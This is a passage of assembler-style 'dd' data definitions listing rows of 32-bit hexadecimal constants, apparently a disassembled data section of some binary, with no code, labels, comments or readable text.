22180325h, 51816825h, 0BE99DDF8h dd 2DADDF2Fh, 49B748B5h, 0D80C0B7Ch, 8B5DAAC6h, 91AD9662h dd 0D5CADBFFh, 0DDD408F7h, 92EE371Ah, 0AB47A441h, 8B30A8A4h dd 38F0D872h, 25822AA4h, 4DE95464h, 2E78277Dh, 0B7332DB9h dd 184E47F6h, 58818306h, 43C77566h, 7C283D1h, 85368AEFh dd 0D4F78B9Ah, 83AA57D8h, 0A4AD1799h, 0B78279CFh, 82A28856h dd 503239D7h, 0DF665B73h, 554580BBh, 56FDB8AEh, 5B960791h dd 0E622358Ah, 0D68BA831h, 0B72BE14Eh, 0F8CC6E75h, 49F7E30h dd 8FC357F1h, 0A92D4AB2h, 4EE69F3Ch, 1CC68E6Dh, 19E5D103h dd 6460BE8Dh, 87A69160h, 548A6A77h, 286AD08Eh, 12372DDCh dd 938487C5h, 0AD4CDCFh, 77FE0BD6h, 2DB9BAB5h, 5EF5824Ah dd 0F702A8C1h, 48EE6E9Dh, 0C3D92423h, 0B1E3AD1Ch, 71D21849h dd 0A2E8A17Dh, 5C4BAE67h, 0EB7D439Ch, 4E09F2ACh, 0F4A3C26h dd 0F453D1F8h, 7AED302Fh, 290D1489h, 83EEEE75h, 0DB6E85B6h dd 0C2D01470h, 0FE4543BBh, 9EE7E05Dh, 0E401E66Fh, 46A680F7h dd 7846B66Eh, 249C800Fh, 75FBE355h, 0A24A09A1h, 0FC9AB7F2h dd 0FFD5769Bh, 19F5FDA9h, 24D3E229h, 0A8F4DF9Bh, 0D795004Bh dd 0E8965125h, 93F973Dh, 205B4Ch, 9AB79832h, 5B1F8EF8h dd 0C470F19Ch, 0B51FE816h, 0AE896CC5h, 0F9796D9Dh, 57B5EC9Dh dd 37DDAE98h, 5A068DABh, 873778Bh, 36815B29h, 0F5974A5Ch dd 0A6D429B9h, 28D74E68h, 9C73102Bh, 554C6BD9h, 865E6CD9h dd 0CF64A9D6h, 41B8F825h, 5E8A67B5h, 0F6AE56CCh, 9037B32Ch dd 0A5314492h, 0A7084192h, 0D8F29A47h, 0CF0D1E77h, 0C5034BECh dd 0B3EDBECFh, 876F5888h, 327BA43Ch, 0A5E5D6B3h, 0D4DB88D9h dd 29C61419h, 0A293AE32h, 839B3A7Eh, 0E4F302C1h, 522C5EA5h dd 9152B42h, 0C75DB859h, 8BD94555h, 309241ABh, 0E9170BBFh dd 1F442EC6h, 3D492C83h, 0D6159BB6h, 3789F3C9h, 7909FE72h dd 0F0C415DEh, 0D259F9A6h, 0AD186F29h, 7DD1DC35h, 0B8CA29Ah dd 875AF6C2h, 0F1DE8861h, 0F544A07Bh, 1503A87Eh, 1C7A2C01h dd 0A8461A3Fh, 7DD97B68h, 2950AE1h, 17E5D36Fh, 18A51183h dd 9DD36DFBh, 9979E8EDh, 1364B171h, 168FD20Ah, 9327FA36h dd 0C7A73DAAh, 55AE98ADh, 1A9ABB1Ah, 0A1302E95h, 10A3AA9Ah dd 8FFC6281h, 0BC735B5Ah, 0FF39A5E7h, 5362D033h, 96DFF42Bh dd 0BDE58535h, 5B5EACD4h, 101A0064h, 1D05CF0Ah, 0D67E30CFh dd 0CBA882A1h, 612AC9E8h, 0B506C924h, 6FD17C5Ah, 488F75CBh dd 0C9DC637h, 0EA7F03F4h, 61AA2B28h, 1E1D780Ch, 3B8852Eh dd 88E2A3B4h, 8191F7A7h, 93BD8AE2h, 0B4468002h, 0C874ADF6h dd 663E1786h, 3DDB72F8h, 0EBD50266h, 312B59ACh, 9118E359h dd 5833B0EAh, 0B4F38069h, 0B6713A88h, 0CEFA6DC6h, 0EBB56B45h dd 4F79B334h, 0F70B9372h, 0F995E00Ch, 0F1208211h, 0B5AFAB45h dd 16DE1D27h, 9E51C52Ch, 1E36F2D2h, 404FBEE6h, 0FEE9F945h dd 347694C7h, 0B182D75h, 9C9DD191h, 844403C5h, 0CB39F6D9h dd 0EA0D1B04h, 77E3D1E1h, 0A65B5828h, 836F5EFBh, 0A6DCA043h dd 9BFE31D3h, 10FF0E6Bh, 76354CD4h, 5E0B9E9Fh, 63E68EA0h dd 0CC712988h, 66E1877Eh, 29212986h, 77F50356h, 1CFBCA57h dd 825FE21Eh, 3FB866FDh, 1B3B30C9h, 0A3583BBFh, 0A562F523h dd 0AD3F79Fh, 0B713643Ch, 2B6FB7E2h, 2FAE162Fh, 0E208BC5Ah dd 197A29ECh, 72281912h, 567695A5h, 4797BEDEh, 0CD6029D0h dd 90961B7Dh, 0A06C9E1Bh, 40ED5723h, 80CCBD4Eh, 0A30A0989h dd 4A07E0FBh, 0A9B61E7Ah, 0E0F41ADCh, 0C6A1A944h, 0C973FB1Bh dd 0ED06E316h, 3EC68B1Ah, 605C2EABh, 149A8CE7h, 0CC30084Dh dd 83AAE568h, 0CA279F84h, 0F0333826h, 0C20732Dh, 6FE1375Fh dd 37694F57h, 9956F890h, 38A39A1Ah, 0FA6CF389h, 90283F62h dd 2E601E30h, 64118FCDh, 81C02C7Bh, 6D848B5Dh, 0BD0708D6h dd 5285C56Fh, 966A7655h, 0DDF81BACh, 7542FA02h, 7451F624h dd 0A5C2C32Dh, 0C295673Ah, 0CF014B30h, 70E37988h, 6F415ECAh dd 0ACD133A2h, 99D35C19h, 74587F0Eh, 0BAF07612h, 9475EAB0h dd 43579598h, 0EF4B9DC0h, 65D27ABh, 0AA6D97C0h, 7F413D0Eh dd 8E79002Fh, 0C419AA33h, 0D4A0C9B4h, 0BB6BFAFEh, 2469B64Fh dd 5E6EFA2Eh, 4E939191h, 318FB05Ah, 110BEE54h, 73FC0D3Fh dd 0B0661D0Eh, 8A9DD556h, 361BBFFh, 0A236AE05h, 134051D0h dd 2469F058h, 0C0BA90BDh, 0A81CD3A5h, 8341A73Bh, 0D15CBC71h dd 7AB494B2h, 3E217E67h, 0BBF52773h, 0F83ED348h, 5335FE0Ah dd 1C3177A6h, 0BFE675BFh, 5D04F0BEh, 0E682CF0Ch, 0DAAB0BCCh dd 5B5284h, 0BDB04149h, 6F2F10C0h, 158957E1h, 3396AFAh dd 0D4AC369Eh, 0D80F58F3h, 0E36E60F4h, 31DECE78h, 0A4952C23h dd 180F1E05h, 27BA6005h, 0CA12CDFEh, 9AC240DCh, 0FBF43BABh dd 0F57281B9h, 5BB22BD1h, 853BF9ADh, 15BBA2ACh, 0B0ED684Ch dd 4F7163ECh, 32EC2CB9h, 3CCE40E7h, 3B5657C6h, 0A19F063h dd 0DB99F56Ah, 2EDE1114h, 0ABD16762h, 527B2173h, 5A66500h dd 5CB92E03h, 95CE71B0h, 391C8A22h, 0A3EE65DEh, 0CC7BA3EDh dd 0C86B93A5h, 0A3E28451h, 1E2248ECh, 737EBED8h, 192D1E72h dd 0EBA84E09h, 7944B3B6h, 19EBB1B9h, 0F7AE014h, 353A98E4h dd 2FDEEC12h, 0E08BCECDh, 2E6300CCh, 68C78497h, 0AC5F3A4Ch dd 5173352Fh, 9275B726h, 0CCDADBBh, 0CE6069BDh, 265B6808h dd 0F84E10C7h, 820BEA52h, 0AFB27EA5h, 0CD3D5331h, 388BF406h dd 142FE6B0h, 47191EF5h, 72E15C6Eh, 1F509DBh, 491D026h dd 172D4064h, 2CB3DF39h, 64C3D8F1h, 0F4F2130Ah, 2DAF3372h dd 7B08FF36h, 0DB5BB584h, 490EE66Bh, 37DFADD0h, 0EB25AABEh dd 221A0EEAh, 0D3C4E54Bh, 0EAAD6FE0h, 0D51BFA25h, 615FF653h dd 3D996131h, 0D3270B76h, 80C29C83h, 3E2A25B7h, 4E9858C1h dd 0E41265ACh, 6064150Dh, 0E99FD1B6h, 0AAF9D67Eh, 0F03E094Ch dd 70399D06h, 0FC156A0Ch, 54BE561Bh, 2977BA4Fh, 0E876D882h dd 66387B88h, 4400C335h, 99F58F7Fh, 954DB027h, 0DEA1DA77h dd 9D7242Fh, 0B4E2026Bh, 0A4B70CDh, 0D0184418h, 0ED14D8DBh dd 3ED31823h, 0ED3BA4C2h, 0FBF96D22h, 3E7BCA2h, 2BEF6985h dd 0C283833Fh, 0D3BC9CE6h, 76942D2Bh, 950B6EF4h, 3652950Fh dd 47466FE1h, 7C629F44h, 0D6C6444Dh, 0B79A63E3h, 28FBDA2Eh dd 16B7F254h, 0E42D885h, 2430B9A0h, 0D5BD9DBCh, 0FFB2C548h dd 0E640ACF4h, 0D5467DBEh, 0E3C7F90Dh, 7F9F0A7h, 43E4173Ah dd 0E1F89A3Fh, 0EEEC8B3Ch, 1038C1C3h, 569F46DEh, 92D75305h dd 0F764EDC6h, 68B26A7Eh, 347D05BBh, 0CA64752Ah, 7E807DB7h dd 0D1373F8Ch, 0D02F84A6h, 0F3D005DFh, 735031A4h, 0DF131CB5h dd 4663DDCAh, 9DCC7E0h, 5BE27BCBh, 0FE827FB7h, 225D01BCh dd 4D8E6E28h, 6F0276CCh, 7DA3BDF6h, 85E96600h, 275166A1h dd 4912B0C7h, 2BC08B01h, 1089FCF9h, 4C4AA18Eh, 0DA1CFDB8h dd 0E8D91655h, 7EBC25EEh, 12D9344Bh, 5167BD60h, 0D9633914h dd 0BA4DC29h, 87AE3B5h, 405118ECh, 0DE34A03Eh, 0A7CA315Fh dd 8CA1201Bh, 0B7761B10h, 0F3D17FCAh, 6AA85360h, 77036E39h dd 56933ECDh, 661E8838h, 29C47F92h, 1052660h, 0CA44C2BCh dd 893119DEh, 4D4045B4h dd 0D39F568Eh, 2DAB06A3h, 7169BE27h, 0FBB2B94Dh, 194DBDB7h dd 0D619EDFBh, 3A243B1h, 0FE89DDD1h, 1B5C236Fh, 0A577B07Ch dd 35DFB217h, 9C9BD55Ch, 0AE502B08h, 5771A40Eh, 6C81F7h dd 0AB8797AAh, 0CF4A9DB9h, 3ADCFBEBh, 0B97AB57Dh, 23800574h dd 924A2808h, 0C5E634F3h, 41765B03h, 30A27C5Bh, 3AB4446h dd 18C30B46h, 8D7F0137h, 0E549359Fh, 3E717727h, 4D50A5CBh dd 61BF47B2h, 77D28009h, 255B379Eh, 581C7BA2h, 0F8641598h dd 97591BDCh, 0AE8391AFh, 0F62688FAh, 5C55389Bh, 0C69090D2h dd 0FE019318h, 0AD46A46Ch, 2D60BB31h, 407B5F18h, 99A49BDEh dd 0D286524Dh, 0A69D45D7h, 6642A9E6h, 611CB8E3h, 0DE56D7B1h dd 0DC1EE9DBh, 5C7F9E1Dh, 0F1BBA1B1h, 595A7108h, 264278CFh dd 79B3E57h, 0D30CAA8Fh, 0C6065BA2h, 41878B2Dh, 725032F9h dd 7D1FE498h, 4C3EA547h, 0EA81869Ch, 0C29ABC70h, 0A2C2F227h dd 0AE86D884h, 9B96B24h, 47A15CC3h, 93C47DADh, 9EFB10h dd 8CBFB280h, 0DA82A2C2h, 0CC8290FBh, 25416D99h, 0DAFA7AD2h dd 5420CE89h, 0A1965F1Ch, 3972256Fh, 2484DAE5h, 59845322h dd 91D459BAh, 73562954h, 0AE168D87h, 0B958705Dh, 2F692DAAh dd 0DE0F464h, 3442B2B1h, 60A381C7h, 7C8E90E7h, 1E2C0B18h dd 2DFC84ADh, 55298BA5h, 2F82D814h, 9C13BB9h, 0A05BC789h dd 62963CB7h, 58193FE7h, 117DCC3Ch, 838F9234h, 0BC0B4587h dd 0ECA51654h, 30B48227h, 5DBA244Fh, 165EE6ADh, 3A9F1C2Ah dd 0B2F14388h, 0E09BE42Ch, 0D35484BCh, 275D322Ah, 44A4927Ch dd 73FEBD06h, 13210569h, 6641FFA4h, 3CA450Dh, 97948FFFh dd 62C78B8Fh, 0F943DD16h, 9589D6E9h, 184FCDC1h, 0F2DD1C52h dd 1483D171h, 2BBC5C4Dh, 6D812F6Ah, 99C7F512h, 73373D8Bh dd 2D13ED76h, 0AD56E1A4h, 89D73030h, 544B462Eh, 8BB92276h dd 5CA855C8h, 6CF94FF8h, 11119F2h, 0F461D45Bh, 2A401717h dd 693E289Ah, 886877D1h, 55525B1Fh, 78541D02h, 842FC22Dh dd 30CE99D1h, 66DBD36Ch, 69DCA6B9h, 71A9D94Fh, 1422F2Fh dd 6942048h, 9AF7BB3Ch, 0F3CD8868h, 4CAA5CA6h, 0EDC67C67h dd 7F96BBCFh, 0D1E37AF9h, 0F713F4BBh, 0F8CA01E2h, 0F5ECC5h dd 209D9A45h, 9F56D7h, 0E3AF08Dh, 6B32EEA8h, 0E3D62D3Bh dd 361ECDB5h, 0BCC48C50h, 98141617h, 133221A1h, 0D1AB3D45h dd 3C3AB30Ah, 0E92CC431h, 3BFED3F8h, 927BBA39h, 1403B338h dd 5470C477h, 7409CB5Fh, 96D8955h, 0D239667Bh, 0AB2394CDh dd 0BE08F6B2h, 0A794B8Ah, 0E8F5A140h, 9512485Ch, 5AC8401Dh dd 0CD7436EDh, 911362E1h, 0EB0A8F3Ah, 2EA18591h, 76D3FF51h dd 9FDA54DCh, 0EC274C61h, 903597BEh, 0FD2456DDh, 3A596A77h dd 5C6A476h, 0FD589FA7h, 64827E58h, 2A703041h, 755DF979h dd 25AAEB15h, 51B134C3h, 4BC496AAh, 0A014BD74h, 0A99CAC5Ah dd 34C6DAABh, 3A344C84h, 0F7A3EAE8h, 1ECDFCF3h, 609797AEh dd 42E30C88h, 0C959D03Ah, 4C2A4892h, 6A91D9B4h, 9A3C3B88h dd 0A39EC0CFh, 0A3E5CCAEh, 58C1B436h, 1CD21D44h, 1F7B806Eh dd 0CB13E353h, 8433B7C7h, 1F9BCA7Ch, 2E7BC402h, 3E639D93h dd 7BD41AD6h, 0FCAD923Fh, 0B578C85Fh, 1FD6CCAh, 63242760h dd 0C306F9F2h, 2A80A3A9h, 4C4D7020h, 44DD575Ah, 6A82A8ABh dd 4367CDF1h, 0FAFC8414h, 9259B0B0h, 3E6D161Dh, 0B57FD0E7h dd 95517896h, 5CED9373h, 352177D6h, 4221126Dh, 7550225Ch dd 0C7A9D3ADh, 0C790EA37h, 2AE3F7B0h, 8DFEAA48h, 416DF761h dd 0A5724185h, 0D7B97A1Fh, 0F579046Ah, 0D27A8DD3h, 0D29573B1h dd 0D3252A64h, 3FC33BA4h, 169A2809h, 20AA673Fh, 874290DAh dd 377C16DCh, 0A38493A2h, 77389A6Ch, 0BB592EA7h, 0D4024816h dd 865E6913h, 0B321FC72h, 0BA25C895h, 0F6208697h, 4EE03825h dd 0D82430C0h, 4D499E2Ah, 0D288DBA2h, 1F60DEE0h, 0C3F004EBh dd 4C49180h, 3B56DBEDh, 2A9347D8h, 0E3951BFBh, 0C0F73CFh dd 57F80425h, 0B4BB87FCh, 321A32A0h, 14F398BBh, 24DF57B5h dd 4BDFD8ECh, 6F46542Fh, 4AD0B26h, 93AFDE84h, 8159F0D5h dd 7E4A44CCh, 9BF103B9h, 7413BC80h, 0B33451FAh, 2499866Eh dd 0E7215D90h, 0E27F363Ch, 377F4E25h, 0ABE64612h, 70F088B7h dd 65D9948Ah, 7DF7341Dh, 94D31FF1h, 2D895751h, 0D197302Ch dd 0DFC686ECh, 0C1B95C46h, 8ABB076Eh, 0E2E73DF8h, 56224050h dd 0C22A63E4h, 42897771h, 8B3F376Bh, 2B1C68BEh, 0E41EB1DDh dd 20C13D57h, 0DA854680h, 5DD0C9BCh, 0A7F48BE7h, 7BE3D0E1h dd 0A5CA6655h, 0B55C0DB8h, 0BA225413h, 711816F7h, 0ABBEB970h dd 0B06CBF28h, 694831BEh, 73807D48h, 4D15AB4Ch, 0BCED0034h dd 0CF581444h, 0F40026E7h, 8E102288h, 5C10BFE9h, 7A0EF847h dd 5089C0EAh, 0C9E78BE8h, 435ADEC6h, 882E4C8Dh, 0F2B8949Bh dd 20C5CDF3h, 3D5ECA5Eh, 0A512BB85h, 0F3435596h, 3B58CDA0h dd 152ABC6h, 0E576F13Eh, 4180D89Bh, 0AD9692C6h, 5E494381h dd 3C05B929h, 7798EE64h, 1565F760h, 4679CB3Ch, 0B8FE2B75h dd 0FCEA94F1h, 31EE67Ah, 4C15BE87h, 702CA25Dh, 0D7C6677Fh dd 0A09E4E16h, 0BBC06493h, 0AB5A6852h, 0CE74CCF9h, 2E7302E2h dd 1A01642Ah, 72CB7DF3h, 8D1E4534h, 9398A966h, 521EE6C6h dd 0A5D0FF5h, 0AF20F6B8h, 0FB774669h, 0C978D110h, 0FC1DD524h dd 0C119985Ch, 0B2107DF2h, 516F0F95h, 5F1D5137h, 32BF66E8h dd 330919A7h, 26DD3AFDh, 70BB27CDh, 4027054Ah, 0B8905C0Ch dd 80D9B162h, 223A8508h, 1ABF2239h, 0B92C4257h, 0D2328F6Bh dd 343368B5h, 42C5DF7Fh, 8394C268h, 0C50CBFFh, 65845DAh dd 0F688DDECh, 0C7C7EFB7h, 2B78E301h, 15B6A621h, 48EAA888h dd 3FAAEFD3h, 0E6AC16A6h, 0E79C3C8Ah, 690F24C8h, 0F5CD9732h dd 0D6DDB7Fh, 8285B90Ch, 3864E45Bh, 0CE40BE41h, 1631179Bh dd 5E6E6700h, 196BDE52h, 0C21CE9Eh, 9BB52A80h, 0E355A2C0h dd 0AF1AE884h, 49CBD783h, 0E6FADDE7h, 0D9D7C13Dh, 4BC37D2Eh dd 6E495EAh, 0BD6E1608h, 2029D3ABh, 0D7D507F1h, 1C1B55D6h dd 665E1A00h, 4533B1EAh, 89806F81h, 0F4B710CBh, 0AA9C6AB6h dd 4ECFC25Eh, 0B3AC8409h, 0D34029E2h, 0E78AFE68h, 3A3C7748h dd 2AF3B443h, 0DE3CA4ABh, 0FFBC2E28h, 0EE464196h, 9F448FD0h dd 0E977C5CCh, 82B0DFE6h, 0FDB27460h, 0B6FB1DFCh, 81C385F6h dd 0FEF56F26h, 2064E2C5h, 27999E68h, 46F1379Ah, 0B2247015h dd 533BB9F7h, 0B4D92BD9h, 39A041D5h, 2FB5284Dh, 7231CE0h dd 0F6436EACh, 3A33FDE7h, 427490DDh, 3AC857EBh, 0D15670FCh dd 26B1ED7Ah, 0E4D68846h, 0C8E4ED54h, 0E52E707Ch, 0DCFA6F8Bh dd 0A326649Bh, 99E124DEh, 0D901504Ah, 3BB4D311h, 0F88DECE3h dd 0D018F6FCh, 245FEA05h, 0E8790C03h, 0AAB028A1h, 0F45E3D94h dd 6E5615FDh, 1FC8F256h, 75F10A2Ch, 6120D851h, 0A11F0247h dd 0F3405204h, 0B7DD9850h, 7D1B153Bh, 8CF28B0Dh, 5576B5A3h dd 4F71C237h, 0FA7EDCB0h, 95A7D835h, 82EF061Bh, 53E4C1E2h dd 502DA911h, 0A0EF7689h, 37AC93C4h, 68F55424h, 6096196Dh dd 74DEAF95h, 7AE4F35Eh, 51BCBA64h, 0B209D678h, 0ACA6276Eh dd 7E8367BDh, 0A06F78BDh, 17C1F526h, 1785832Eh, 99216BBDh dd 0DB5083B2h, 0A99239DDh, 374E73A0h, 0D51D6EA0h, 0D886BC26h dd 82BFD730h, 0E3746112h, 62B70BF0h, 0E99B141Dh, 0EF9724C9h dd 27300816h, 0CC447A1Fh dd 0A41821E1h, 19ECEFFh, 113BC9E3h, 2D529E87h, 0B4822847h dd 8841B04Ah, 0F47C177Dh, 0A6580320h, 83E317DBh, 2FF3E25h dd 0D225AE8h, 0B160DF12h, 971CBFE5h, 30DB7EE5h, 0D3353BE8h dd 3895798Fh, 0C3C9A5ACh, 0F70995DCh, 0CFA068B2h, 5F67BEFFh dd 4BCDFEA7h, 5D99887Eh, 2B5B4203h, 217551F6h, 86312418h dd 0D0388EDDh, 0BFF3513Dh, 6DD779FFh, 8EC23598h, 0D4134811h dd 1BA80AF0h, 0E8E1FE25h, 8D127D1Ah, 0BE92ED29h, 0CFFED1ABh dd 4D991FCBh, 7D5E16B9h, 5F049CD3h, 0F110ED51h, 3A03B8FBh dd 7757C6C8h, 93199DB7h, 0C269CEB7h, 13974A3Bh, 3E1F5C47h dd 7859C1CCh, 8F2AFB7Bh, 0A932B06Ch, 2B31DA18h, 20B9198Ch dd 322041D5h, 3BBACDE9h, 3E0B0AD8h, 43A0CFB4h, 0F871370Dh dd 91A717Dh, 1E621857h, 0EFBAECFDh, 48DDB995h, 0FAFC4951h dd 5D9375F2h, 4DC07F4h, 79822FBEh, 35FBDC2Fh, 50FB26ECh dd 0ECB867BEh, 0B91D1795h, 10696A62h, 8D2DD2FBh, 9D21987Eh dd 869013D1h, 6C47D7A2h, 339CAFFAh, 7895536Fh, 0DC045D1Ch dd 1D3598FCh, 5DAB55BDh, 63810BBAh, 0F809CE67h, 0F5C6A752h dd 4F4AF3C8h, 92E11835h, 687C53CAh, 0A8210494h, 0E61CE1F1h dd 282AE641h, 3A420B41h, 0AC613136h, 5CABA685h, 0CA6635D2h dd 52776264h, 7AB93BB6h, 0C546024Bh, 552B83C4h, 9261A39Bh dd 0DB216D79h, 228AD16h, 0B900CB56h, 0E925CBC6h, 0FA748BADh dd 24718251h, 0D0852160h, 0B77F8029h, 7447AEBDh, 95BBEEC2h dd 0BE8FC59Eh, 963AD88Eh, 1E38CF9Ch, 0C44FC071h, 210ABD1Fh dd 0BD3FCF0Ch, 9881EF96h, 0C0C45F1h, 218878E7h, 91D95D70h dd 0DD0D2B10h, 2F848B74h, 0EEAB33F2h, 49F7CFFBh, 0A06A3AC6h dd 23BDA932h, 58FE4813h, 0C1999AD5h, 19FA50EDh, 0F8DAA7B7h dd 67764C5Ch, 0E40D9F05h, 0A30A23AEh, 105AF4E2h, 990042F9h dd 0F733CC4Ah, 4C1ED926h, 7D63B1C4h, 0D2314369h, 0F4C9A1C5h dd 56E4EE27h, 0D23E0CDCh, 0B9C9CB09h, 0EFDE6B88h, 0A9ACFFC5h dd 94C3BA7Ah, 0AED3FF32h, 15E2958Fh, 893DA8Eh, 9930E811h dd 35D73CF2h, 0F01C653Ah, 66FB30CFh, 0E7F0E26Dh, 42E80BCFh dd 76B939D1h, 57C70054h, 5E7C573Bh, 2A793FFBh, 0F2342153h dd 9D611459h, 672CABBAh, 4428C544h, 26CCE62h, 64988D14h dd 0EA9F462Fh, 7249EA85h, 5D4C8CB6h, 76B85DEAh, 923E7A92h dd 29E7E63Ch, 2BAB3A6Ah, 38E88430h, 78F59904h, 0B97114A8h dd 1EC7A9A4h, 0F8E68D1Dh, 0FDE01120h, 70A35CE5h, 0C067C12Dh dd 69977C28h, 42CD7756h, 4616A2D2h, 8A488EC1h, 53C2A20Fh dd 6C6413Dh, 0B0DA4BE1h, 8226FA9Fh, 32D3E226h, 69B51949h dd 0B6AB937Ah, 11E309B3h, 37446D8h, 0BC0FE5Ch, 0E659E32Ah dd 0CAABA6Dh, 11CEB021h, 0B680C3F5h, 7C65E01Bh, 1727FC8Dh dd 0FDE76281h, 321D776h, 0B76881B5h, 11B9DA56h, 558F06C6h dd 56CD30CCh, 1924455Dh, 76681371h, 378EF70h, 0F1F10B02h dd 45B76A98h, 8CEE5BAEh, 30E8B1DBh, 0A420DD84h, 3577429Dh dd 0F7ED33C9h, 0E91CC746h, 0D623AE57h, 614A5885h, 0FE32AF53h dd 984812FFh, 0E0E4FD0Ch, 0B94498CDh, 8DEED82Fh, 603F9B6Ah dd 204137CDh, 6A9B5CE4h, 0DFCB4E74h, 641D72FFh, 0DD4A6BB7h dd 7DA1182Bh, 36412AAFh, 0C688C752h, 86D9E924h, 73E9399Ch dd 308CCC8Ah, 7541C991h, 9A54E850h, 0BF21671Fh, 49A968A8h dd 16E45F66h, 0A060CE3Fh, 8A26FA8Bh, 0CCEAE73Eh, 21BAF2E2h dd 62322447h, 0B356B9D4h, 0D552D135h, 0D82E4AB9h, 7DCCFFB0h dd 0DA1F4ED1h, 695B48D1h, 5C5A7713h, 686AAF7Ah, 0A20D8237h dd 0BF88B450h, 52061B99h, 9903806Dh, 0C7D57487h, 9F169451h dd 0CE9B5310h, 7F880735h, 378DC523h, 6671D892h, 9D1E9DCDh dd 0F8863589h, 0ACA2B08Ah, 0C61D98BAh, 0F5BBBB52h, 6CC5D23Fh dd 76E5BA5Ah, 304639Fh, 785EC17h, 644791E0h, 5F085560h dd 34F7267Ch, 870ECEB2h, 703E14A5h, 0E89CF093h, 964CCC2Eh dd 0C927A91h, 0B8D55608h, 247E532h, 6C243E3Eh, 4ED60A04h dd 4985B401h, 1BFB04FEh, 0DEB0DA6h, 7114C7ACh, 4A3E6B57h dd 841EAAA4h, 13A0D92Dh, 414DF9D3h, 66376550h, 0E8832499h dd 0EA2743F0h, 4C0EDA92h, 0B1F401CBh, 36B2BC61h, 96FEEEEh dd 3997CA83h, 37EBD001h, 0E55AEB8Ah, 18BFC10Fh, 0D70D8A91h dd 0EB2BAF3Fh, 3999509Eh, 0D8FC58CAh, 1B74A032h, 0C3AF4230h dd 0E05F792Eh, 9BCFE782h, 0E80725DFh, 57AD5577h, 0D1429245h dd 60BE69B5h, 61062979h, 888C665Dh, 0B7829FC6h, 322EF752h dd 77C88C14h, 0F2F2EB28h, 2CBB2769h, 505E6746h, 3B09092Bh dd 744565BCh, 0E22A6DA1h, 733077E0h, 99742546h, 91205861h dd 0A8474288h, 91671DDEh, 5ED4E1E7h, 468FE264h, 937F3935h dd 0C2B42890h, 89EE7994h, 0C81577B0h, 0AC8532CEh, 0A7B5EBCAh dd 8DA62798h, 0E4F09A3Ch, 2FD1AA9Ch, 9C42B8DAh, 3F0383F4h dd 91689445h, 837305D9h, 0AE28215Ch, 8A3D9177h, 0A9F88594h dd 1B536A4Eh, 0AE154349h, 1A4D6B93h, 0A7900FCAh, 5CC0E73Bh dd 0BEF7BC3h, 0AA4E484Bh, 9C79F29Eh, 0E198581Dh, 0DCDCB49h dd 8F669036h, 394AE5A0h, 0A732C43Ch, 0B6FC12B3h, 0ED79CCE0h dd 5740593Ch, 51361848h, 5FBBFB15h, 17648124h, 1F119EBAh dd 0E6E41CDDh, 2ABA7CCFh, 0B455A4DDh, 0DBE11CD8h, 0FB5B113Dh dd 2BD2F1C2h, 3C5CD60h, 0F810BE9Ah, 6939501Bh, 5C51DFA2h dd 19A611F2h, 40F19340h, 50511E91h, 1776DCFDh, 89935F47h dd 0A8AC97D6h, 45AAE95h, 7341626Ah, 33D45A2h, 0F0A1FECEh dd 0B2B66DDEh, 37D3F736h, 0FF4ED690h, 0B474843h, 8ABEF8DEh dd 0F0FF5A23h, 4EC6965Ch, 2DD63BA2h, 0A7AC88F1h, 7ADD59DEh dd 9BBDDBB6h, 8F81E773h, 6A765F98h, 0FDB5966Ah, 8783AC2Ch dd 5E9F083h, 0E428D321h, 0CE444E46h, 9A52DBA2h, 4DFE5469h dd 291E0676h, 52E3E6DFh, 0C6821430h, 0E39E34C2h, 5B59458Dh dd 45AFB207h, 0DB8783E8h, 70A54AA8h, 5302D770h, 3B800801h dd 19CAD2B5h, 99E5BF47h, 53E6B598h, 0EBD7D91Fh, 0C145740Dh dd 3586665Eh, 68624A2Fh, 0CD379017h, 232CCF0Ch, 0C35101BEh dd 58E7FC19h, 1E9662D4h, 0DA447908h, 3B2903FDh, 0CA5C10EFh dd 5348B961h, 0FA34E223h, 280981B8h, 0F7363F25h, 21EDFA3Ah dd 87785BEDh, 6D010272h, 30094236h, 9F5FBE7Eh, 9A9EF698h dd 91AEB8Ch, 0F5F0EF30h, 43EC1C8Eh, 0E5B88C7Fh, 0B31EA7A2h dd 50D2AF79h, 95E7A440h, 5016772Bh, 6F0612D7h, 0E1AFBF06h dd 0B9EFE79Ah, 1C6B5D84h, 0C0D12356h, 3E06EC7Dh, 8E88468Fh dd 68E2EDA5h, 50A70EDDh, 6700AF04h, 844BAC79h, 9AA78084h dd 3FD1BF30h, 3A7C3336h, 0C92A6E2Eh, 0AD010D4Bh, 0E709C601h dd 0A28BE945h, 0DBFD8728h, 0C6F9FD55h, 832AE9E7h, 0AC8A0148h dd 0BDC54D65h, 420DDE81h, 0E81B9DE7h, 0A6D5B778h, 3B0B7417h dd 0F499B29Dh, 0C58A3F0Dh, 58AB6909h, 0F34E359Bh, 765E9F6h dd 1A1AC83h, 0C0AC3A57h, 0C2A7894Dh, 0BBB8C616h, 0B5797F9Ah dd 0E1B842CFh, 0EB905EAh, 55E53C10h, 0BB8FFC9h, 991E3636h dd 0F701F048h, 58401211h, 0F1FF8CDFh, 3FC57E28h, 0D0CEF82Ch dd 0D5EDBDFCh, 5FDB054Ah, 44189362h, 272F4E12h, 53384C93h dd 0E3906A4Ch, 0A3E6CA02h, 3B830ABCh, 0F6552E61h, 9037FCBDh dd 0E6483977h, 0E66DAE37h, 5320A08Ah, 0DCC3F224h, 0EDB63099h dd 6C46938Dh, 863766D5h dd 7280D5EFh, 0BCFD8AB2h, 3B947714h, 27CE9C13h, 27BA5868h dd 4BCFBEEAh, 1763C639h, 0A5FBD011h, 3EEA1A6Dh, 0DB81AB0Dh dd 0EFFA96h, 415531D9h, 5CB526E5h, 0EC1F3404h, 0D33B7001h dd 8BF8AF57h, 5E33A231h, 0CA04EA69h, 76789AAAh, 0B6493AECh dd 0F39E9D70h, 305806FDh, 3FE59C8h, 0FB75D1Bh, 65C839BEh dd 0B4D13D33h, 33C8F38Dh, 273E2260h, 0B8FBCF0Fh, 8F05AC72h dd 1C60742Ah, 7B4F7ED4h, 55B1E8CEh, 4D96EE38h, 0DDDB3CB8h dd 0B987F4B4h, 97F3631Dh, 0D9590D2Ah, 9B9F50B2h, 20D41557h dd 0DDBA1303h, 61C46E28h, 0E6A801B3h, 288C8F08h, 0EF7E268Eh dd 0F2CC15F1h, 57BECFABh, 0E3C5CE12h, 0D25CEF7Fh, 0D6753E0h dd 1FE3BAD2h, 0DA97C474h, 0B1DE3EBBh, 119E35C4h, 60FEA0CBh dd 794832FDh, 0C3729E84h, 0CCFD5DF5h, 0EFF88E8Ah, 0B5011A24h dd 67B36DD4h, 0CC66B50Fh, 41BE1291h, 686D3031h, 1AC9039Eh dd 1CD3F877h, 